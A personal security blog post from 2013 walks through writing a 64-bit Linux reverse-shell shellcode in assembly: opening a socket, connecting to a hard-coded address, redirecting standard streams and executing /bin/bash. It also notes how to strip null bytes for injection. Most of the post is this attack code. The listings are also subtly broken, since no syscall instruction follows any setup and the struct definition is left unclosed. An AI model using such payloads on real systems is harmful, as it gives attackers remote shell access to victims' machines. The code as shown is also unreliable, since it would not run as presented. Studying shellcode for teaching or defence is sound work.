Daniele Bellavista's Blog

Security, IT, Projects

A 64 bits reverse shellcode — 2013-01-06

A 64 bits reverse shellcode

More bits equals more fun!
I’m sure a similar approach is possible also in 32 bit mode, but as the sacred linux man says: 
“Only standard library implementors and kernel hackers need to know about socketcall()”.

Technically, in this very moment, we are not kernel hackers, so let’s use 64 bits syscalls socket() and connect().

0. Introduction

The desired behaviour of a  reverse shellcode is:

  1. Create a socket using tcp/udp or you favourite kernel-supported protocol.
  2. Connect to your server.
  3. Duplicate the socket file descriptor into the standard input and standard output one’s.
  4. Exec a shell.

1. sys_socket(int domain, int type, int protocol) — 41

Using man and header files and , we can easily determine the parameters: 

  • domain: AF_INET = PF_INET = 2
  • type: SOCK_STREAM = 1
  • protocol: 0
The return value is the file descriptor.

 ; asmlinkage long sys_socket(int domain, int type, int protocol);  
mov rdi, 2 ; AF_INET => PF_INET => 2 ;;; /usr/include/bits/socket.h
mov rsi, 1 ; SOCK_STREAM => 1 ;;; /usr/include/bits/socket_type.h
mov rdx, 0
mov rax, 41
; now rax contains the fd

2. sys_connect(int fd, struct sockaddr user *, int addrlen) — 42

The boring part consists in manually define the sockaddr_in structure:

 struct sockaddr_in {  
short sin_family; // AF_INET (2)
unsigned short sin_port; // in network byte order (htons())
struct in_addr sin_addr; // As 32 bit
char sin_zero[8];

Example for connection to

 sockaddr db 2,0,0x04,0xd2,0x7f,0x00,0x00,0x01,0,0,0,0,0,0,0,0  

Using the new shiny relative IP addressing, we can easly write the asm code:

 ; asmlinkage long sys_connect(int fd, struct sockaddr __user *, int addrlen);  
mov rdi, rax ; fd
lea rsi, [rel sockaddr] ; Socket address inet
mov rdx, 16 ; sock_addr_in size
mov rax, 42

3. sys_dup2(unsigned int oldfd, unsigned int newfd) — 33

“Crepi l’avarizia!” We’ll duplicate stdin, stdout and stderr.

 ; asmlinkage long sys_dup2(unsigned int oldfd, unsigned int newfd);  
; check if rdi contains the fd
mov rsi, 2 ; stderr
mov rax, 33
mov rsi, 1 ; stdout
mov rax, 33
mov rsi, 0 ; stdin
mov rax, 33

4. kernel_execve(const char *filename, const char *const argv[], const char *const envp[]) — 59

The final step is to execute a shell:

 ; int kernel_execve(const char *filename, const char *const argv[], const char *const envp[]);  
lea rdi, [rel filename]
lea rsi, [rel args]
mov rdx, 0
mov [rel args], rdi
mov [rel args+8], rdx
mov rax, 59
filename db '/bin/bash',0
args times 2 dq 1 ; nasm syntax

5. Conclusions

If the shellcode has to be injected as string, a zero-byte elimination process must be performed, but it’s quite straightforward.

Due to the high number of the syscalls needed,  the shellcode is really big and maybe of difficult usage, but of couse it’s all for academic purposes.